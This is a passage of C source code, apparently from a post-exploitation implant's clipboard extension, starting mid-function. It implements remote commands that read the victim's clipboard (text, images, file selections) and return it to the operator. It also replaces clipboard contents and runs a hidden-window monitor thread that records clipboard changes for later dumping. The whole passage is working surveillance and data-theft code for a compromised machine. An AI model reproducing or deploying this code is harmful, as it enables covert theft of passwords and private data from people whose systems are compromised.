BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Failed to create message only window instance");
}
dprintf("[EXTAPI CLIPBOARD] Window created");
dwResult = ERROR_SUCCESS;
} while (0);
if (pState->hClipboardWindow == NULL && bRegistered)
{
dprintf("[EXTAPI CLIPBOARD] Unregistering window class due to failure");
UnregisterClassA(pState->cbWindowClass, wndClass.hInstance);
}
return dwResult;
}
/*!
* @brief Destroy the hidden clipboard monitor window.
* @param pState Pointer to the state entity for the current clipboard thread which
* contains the window handle.
* @returns Indication of success or failure.
* @remark This function also unregisters the random window class.
*/
DWORD destroy_clipboard_monitor_window(ClipboardState* pState)
{
DWORD dwResult;
do
{
dprintf("[EXTAPI CLIPBOARD] Destroying clipboard monitor window: %p", pState);
if (!DestroyWindow(pState->hClipboardWindow))
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Failed to destroy the clipboard window");
}
if (!UnregisterClassA(pState->cbWindowClass, GetModuleHandleA(NULL)))
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Failed to remove the clipboard window class");
}
dwResult = ERROR_SUCCESS;
} while (0);
return dwResult;
}
/*!
* @brief Handle the request to get the data from the clipboard.
* @details This function currently only supports the following clipboard data formats:
* - CF_TEXT - raw text data.
* - CF_DIB - bitmap/image information.
* - CF_HDROP - file selection.
*
* Over time more formats will be supported.
* @param remote Pointer to the remote endpoint.
* @param packet Pointer to the request packet.
* @return Indication of success or failure.
* @todo Add support for more data formats.
*/
DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
{
DWORD dwResult;
ClipboardCapture* pCapture = NULL;
BOOL bDownload = FALSE;
Packet *pResponse = packet_create_response(packet);
do
{
dprintf("[EXTAPI CLIPBOARD] Checking to see if we loaded OK");
if (!gClipboardInitialised)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Clipboard failed to initialise, unable to get data");
}
bDownload = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD);
if ((dwResult = capture_clipboard(bDownload, &pCapture)) != ERROR_SUCCESS)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] failed to read clipboard data");
}
dprintf("[EXTAPI CLIPBOARD] writing to socket");
dump_clipboard_capture(pResponse, pCapture, bDownload);
dprintf("[EXTAPI CLIPBOARD] written to socket");
free(pCapture);
dwResult = GetLastError();
} while (0);
if (pResponse)
{
dprintf("[EXTAPI CLIPBOARD] sending response");
packet_transmit_response(dwResult, remote, pResponse);
}
return dwResult;
}
/*!
* @brief Handle the request to set the data that's on the clipboard.
* @details This function currently only supports the following clipboard data formats:
* - CF_TEXT - raw text data.
*
* Over time more formats will be supported.
* @param remote Pointer to the remote endpoint.
* @param packet Pointer to the request packet.
* @return Indication of success or failure.
* @todo Add support for more data formats.
*/
DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
{
DWORD dwResult;
PCHAR lpClipString;
HGLOBAL hClipboardData;
PCHAR lpLockedData;
SIZE_T cbStringBytes;
do
{
dprintf("[EXTAPI CLIPBOARD] Checking to see if we loaded OK");
if (!gClipboardInitialised)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Clipboard failed to initialise, unable to get data");
}
if ((lpClipString = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)) == NULL)
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] No string data specified", ERROR_INVALID_PARAMETER);
}
cbStringBytes = (SIZE_T)strlen(lpClipString) + 1;
// do the "use the right kind of memory once locked" clip board data dance.
// Note that we don't free up the memory we've allocated with GlobalAlloc
// because the windows clipboard magic does it for us.
if ((hClipboardData = pGlobalAlloc(GMEM_MOVEABLE | GMEM_DDESHARE, cbStringBytes)) == NULL)
{
dwResult = GetLastError();
pCloseClipboard();
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Failed to allocate clipboard memory", dwResult);
}
lpLockedData = (PCHAR)pGlobalLock(hClipboardData);
memcpy_s(lpLockedData, cbStringBytes, lpClipString, cbStringBytes);
pGlobalUnlock(hClipboardData);
// Try to get a lock on the clipboard
if (!pOpenClipboard(NULL))
{
dwResult = GetLastError();
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult);
}
// Clear the clipboard data
pEmptyClipboard();
if (!pSetClipboardData(CF_TEXT, hClipboardData))
{
dwResult = GetLastError();
dprintf("[EXTAPI CLIPBOARD] Failed to set the clipboad data: %u", dwResult);
}
else
{
dwResult = ERROR_SUCCESS;
}
pCloseClipboard();
} while (0);
// If something went wrong and we have clipboard data, then we need to
// free it up because the clipboard can't do it for us.
if (dwResult != ERROR_SUCCESS && hClipboardData != NULL)
{
pGlobalFree(hClipboardData);
}
packet_transmit_empty_response(remote, packet, dwResult);
return dwResult;
}
/*!
* @brief Function which executes the clipboard monitoring.
* @param thread Pointer to the thread context.
* @remark This function also handles cross-thread synchronisation with
* callers that want to interact with the clipboard data.
*/
DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
{
DWORD dwResult;
BOOL bTerminate = FALSE;
HANDLE waitableHandles[3] = {0};
MSG msg;
ClipboardState* pState = (ClipboardState*)thread->parameter1;
do
{
if (pState == NULL)
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Thread state is NULL", ERROR_INVALID_PARAMETER);
}
dwResult = create_clipboard_monitor_window(pState);
if (dwResult != ERROR_SUCCESS)
{
break;
}
// signal to the caller that our thread has started
dprintf("[EXTAPI CLIPBOARD] Thread started");
pState->bRunning = TRUE;
event_signal(pState->hResponseEvent);
waitableHandles[0] = thread->sigterm->handle;
waitableHandles[1] = pState->hPauseEvent->handle;
waitableHandles[2] = pState->hResumeEvent->handle;
dprintf("[EXTAPI CLIPBOARD] thread wait handle : %x", waitableHandles[0]);
dprintf("[EXTAPI CLIPBOARD] pause wait handle : %x", waitableHandles[1]);
dprintf("[EXTAPI CLIPBOARD] resume wait handle : %x", waitableHandles[2]);
while (!bTerminate)
{
dwResult = WaitForMultipleObjects(3, waitableHandles, FALSE, 1) - WAIT_OBJECT_0;
switch (dwResult)
{
case 0: // stop the thread
dprintf("[EXTAPI CLIPBOARD] Thread stopping");
bTerminate = TRUE;
break;
case 1: // pause the thread
dprintf("[EXTAPI CLIPBOARD] Thread paused");
pState->bRunning = FALSE;
// indicate that we've paused
event_signal(pState->hResponseEvent);
break;
case 2: // resume the thread
dprintf("[EXTAPI CLIPBOARD] Thread resumed");
pState->bRunning = TRUE;
// indicate that we've resumed
event_signal(pState->hResponseEvent);
break;
default:
// timeout, so pump messages
if (pState->hClipboardWindow && PeekMessageA(&msg, pState->hClipboardWindow, 0, 0, PM_REMOVE))
{
dprintf("[EXTAPI CLIPBOARD] Pumping message");
TranslateMessage(&msg);
DispatchMessageA(&msg);
}
break;
}
}
// and we're done, switch off, and tell the caller we're done
pState->bRunning = FALSE;
destroy_clipboard_monitor_window(pState);
event_signal(pState->hResponseEvent);
dprintf("[EXTAPI CLIPBOARD] Thread stopped");
} while (0);
return dwResult;
}
/*!
* @brief Clean up all the state associated with a monitor thread.
* @param pState Pointer to the state clean up.
*/
VOID destroy_clipboard_monitor_state(ClipboardState** ppState)
{
dprintf("[EXTAPI CLIPBOARD] Destroying clipboard monitor state");
if (ppState != NULL && (*ppState) != NULL)
{
ClipboardState* pState = *ppState;
if (pState->hThread != NULL)
{
thread_destroy(pState->hThread);
}
if (pState->hPauseEvent != NULL)
{
event_destroy(pState->hPauseEvent);
}
if (pState->hResumeEvent != NULL)
{
event_destroy(pState->hResumeEvent);
}
if (pState->hResponseEvent != NULL)
{
event_destroy(pState->hResponseEvent);
}
destroy_clipboard_monitor_capture(&pState->captureList, TRUE);
free(pState);
*ppState = NULL;
}
}
/*!
* @brief Handle the request to start the clipboard monitor.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the \c Packet containing the request.
* @returns Indication of success or failure.
*/
DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
ClipboardState* pState = NULL;
char* lpClassName = NULL;
do
{
dprintf("[EXTAPI CLIPBOARD] Checking to see if we loaded OK");
if (!gClipboardInitialised)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Clipboard failed to initialise, unable to get data");
}
if (gClipboardState != NULL)
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread already running", ERROR_ALREADY_INITIALIZED);
}
dprintf("[EXTAPI CLIPBOARD] Starting clipboard monitor");
pState = (ClipboardState*)malloc(sizeof(ClipboardState));
if (pState == NULL)
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to allocate memory for clipboard state", ERROR_NOT_ENOUGH_MEMORY);
}
dprintf("[EXTAPI CLIPBOARD] pState %p", pState);
memset(pState, 0, sizeof(ClipboardState));
lpClassName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS);
if (lpClassName == NULL || strlen(lpClassName) == 0)
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Window class name is missing", ERROR_INVALID_PARAMETER);
}
strncpy_s(pState->cbWindowClass, sizeof(pState->cbWindowClass), lpClassName, sizeof(pState->cbWindowClass) - 1);
dprintf("[EXTAPI CLIPBOARD] Class Name set to %s", pState->cbWindowClass);
pState->bCaptureImageData = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
pState->hPauseEvent = event_create();
pState->hResumeEvent = event_create();
pState->hResponseEvent = event_create();
pState->captureList.pClipboardCaptureLock = lock_create();
if (pState->hPauseEvent == NULL
|| pState->hResumeEvent == NULL
|| pState->hResponseEvent == NULL)
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to allocate memory for clipboard events", ERROR_NOT_ENOUGH_MEMORY);
}
pState->hThread = thread_create((THREADFUNK)clipboard_monitor_thread_func, pState, NULL, NULL);
if (pState->hThread == NULL)
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to allocate memory for clipboard thread", ERROR_NOT_ENOUGH_MEMORY);
}
gClipboardState = pState;
thread_run(pState->hThread);
// 4 seconds should be long enough for the thread to indicate it's started, if not, bomb out
if (!event_poll(pState->hResponseEvent, 4000))
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Thread failed to start correctly", ERROR_ABANDONED_WAIT_0);
}
dwResult = ERROR_SUCCESS;
} while (0);
if (dwResult == ERROR_ALREADY_INITIALIZED)
{
// if we've already been initialised, then we don't want to go
// resetting gClipboardState back to NULL because that means
// the existing monitor will run indefinitely! Instead we will
// just simulate success here
dwResult = ERROR_SUCCESS;
}
else if (dwResult != ERROR_SUCCESS)
{
destroy_clipboard_monitor_state(&pState);
gClipboardState = NULL;
}
packet_transmit_empty_response(remote, packet, dwResult);
return dwResult;
}
/*!
* @brief Pause the monitor thread, if it's running.
* @param pState Pointer to the clipboard monitor thread state.
* @returns Always returns \c ERROR_SUCCESS.
*/
DWORD clipboard_monitor_pause(ClipboardState* pState)
{
if (pState->bRunning)
{
event_signal(pState->hPauseEvent);
event_poll(pState->hResponseEvent, INFINITE);
}
return ERROR_SUCCESS;
}
/*!
* @brief Resume the monitor thread.
* @param pState Pointer to the clipboard monitor thread state.
* @returns Always returns \c ERROR_SUCCESS.
*/
DWORD clipboard_monitor_resume(ClipboardState* pState)
{
if (!pState->bRunning)
{
event_signal(pState->hResumeEvent);
event_poll(pState->hResponseEvent, INFINITE);
}
return ERROR_SUCCESS;
}
/*!
* @brief Handle the request to pause the clipboard monitor.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the \c Packet containing the request.
* @returns Indication of success or failure.
*/
DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
do
{
if (gClipboardState == NULL)
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE);
}
dprintf("[EXTAPI CLIPBOARD] Pausing clipboard monitor");
dwResult = clipboard_monitor_pause(gClipboardState);
} while (0);
packet_transmit_empty_response(remote, packet, dwResult);
return dwResult;
}
/*!
* @brief Handle the request to resume the clipboard monitor.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the \c Packet containing the request.
* @returns Indication of success or failure.
*/
DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
do
{
if (gClipboardState == NULL)
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE);
}
dprintf("[EXTAPI CLIPBOARD] Resuming clipboard monitor");
dwResult = clipboard_monitor_resume(gClipboardState);
} while (0);
packet_transmit_empty_response(remote, packet, dwResult);
return dwResult;
}
/*!
* @brief Handle the request to stop the clipboard monitor.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the \c Packet containing the request.
* @returns Indication of success or failure.
*/
DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
BOOL bDump = TRUE;
BOOL bIncludeImages = TRUE;
Packet *pResponse = packet_create_response(packet);
do
{
if (gClipboardState == NULL)
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOTHING_TO_TERMINATE);
}
dprintf("[EXTAPI CLIPBOARD] Stopping clipboard monitor");
bDump = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DUMP);
bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
// now stop the show
event_signal(gClipboardState->hThread->sigterm);
// if they don't terminate in a reasonable period of time...
if (!event_poll(gClipboardState->hResponseEvent, 10000))
{
// ... FINISH HIM!
dprintf("[EXTAPI CLIPBOARD] Brutally terminating the thread for not responding fast enough");
thread_kill(gClipboardState->hThread);
}
if (bDump)
{
dump_clipboard_capture_list(pResponse, &gClipboardState->captureList, bIncludeImages, TRUE);
}
destroy_clipboard_monitor_state(&gClipboardState);
dwResult = ERROR_SUCCESS;
} while (0);
packet_transmit_response(dwResult, remote, pResponse);
return dwResult;
}
/*!
* @brief Handle the request to dump the contents of the clipboard monitor.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the \c Packet containing the request.
* @returns Indication of success or failure.
*/
DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
BOOL bIncludeImages = TRUE;
BOOL bPurge = TRUE;
Packet *pResponse = packet_create_response(packet);
do
{
if (gClipboardState == NULL)
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE);
}
bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
bPurge = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_PURGE);
dprintf("[EXTAPI CLIPBOARD] Purging? %s", bPurge ? "TRUE" : "FALSE");
dump_clipboard_capture_list(pResponse, &gClipboardState->captureList, bIncludeImages, bPurge);
if (bPurge)
{
lock_acquire(gClipboardState->captureList.pClipboardCaptureLock);
destroy_clipboard_monitor_capture(&gClipboardState->captureList, FALSE);
lock_release(gClipboardState->captureList.pClipboardCaptureLock);
}
dwResult = ERROR_SUCCESS;
} while (0);
packet_transmit_response(dwResult, remote, pResponse);
return dwResult;
}
/*!
* @brief Handle the request to purge the contents of the clipboard monitor.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the \c Packet containing the request.
* @returns Indication of success or failure.
*/
DWORD request_clipboard_monitor_purge(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
BOOL bIncludeImages = TRUE;
BOOL bPurge = TRUE;
Packet *pResponse = packet_create_response(packet);
do
{
if (gClipboardState == NULL)
{
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE);
}
lock_acquire(gClipboardState->captureList.pClipboardCaptureLock);
destroy_clipboard_monitor_capture(&gClipboardState->captureList, FALSE);
lock_release(gClipboardState->captureList.pClipboardCaptureLock);
dwResult = ERROR_SUCCESS;
} while (0);
packet_transmit_response(dwResult, remote, pResponse);
return dwResult;
}